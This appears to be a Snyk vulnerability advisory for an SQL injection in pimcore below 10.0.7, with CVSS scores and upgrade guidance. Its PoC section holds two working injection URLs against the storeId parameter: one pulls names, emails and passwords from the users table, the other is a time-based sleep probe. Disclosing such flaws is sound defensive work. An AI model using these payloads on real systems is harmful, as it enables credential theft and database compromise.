SQL Injection Affecting pimcore/pimcore package, versions <10.0.7


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-PIMCOREPIMCORE-1316297
  • published 8 Jul 2021
  • disclosed 8 Jul 2021
  • credit Daniele Scanu @SoterITSecurity

How to fix?

Upgrade pimcore/pimcore to version 10.0.7 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to SQL Injection. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.

PoC

Send the following GET request with the payload in storeId parameter

/admin/classificationstore/groups?_dc=1622204293193&storeId=1) union (select '12',name,'4',email,password,'7','8' from users) -- -

/admin/classificationstore/collections?_dc=1624542952813&storeId=1 or 1=1) union (select sleep(10)) -- -

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    Low
Expand this section

NVD

8.8 high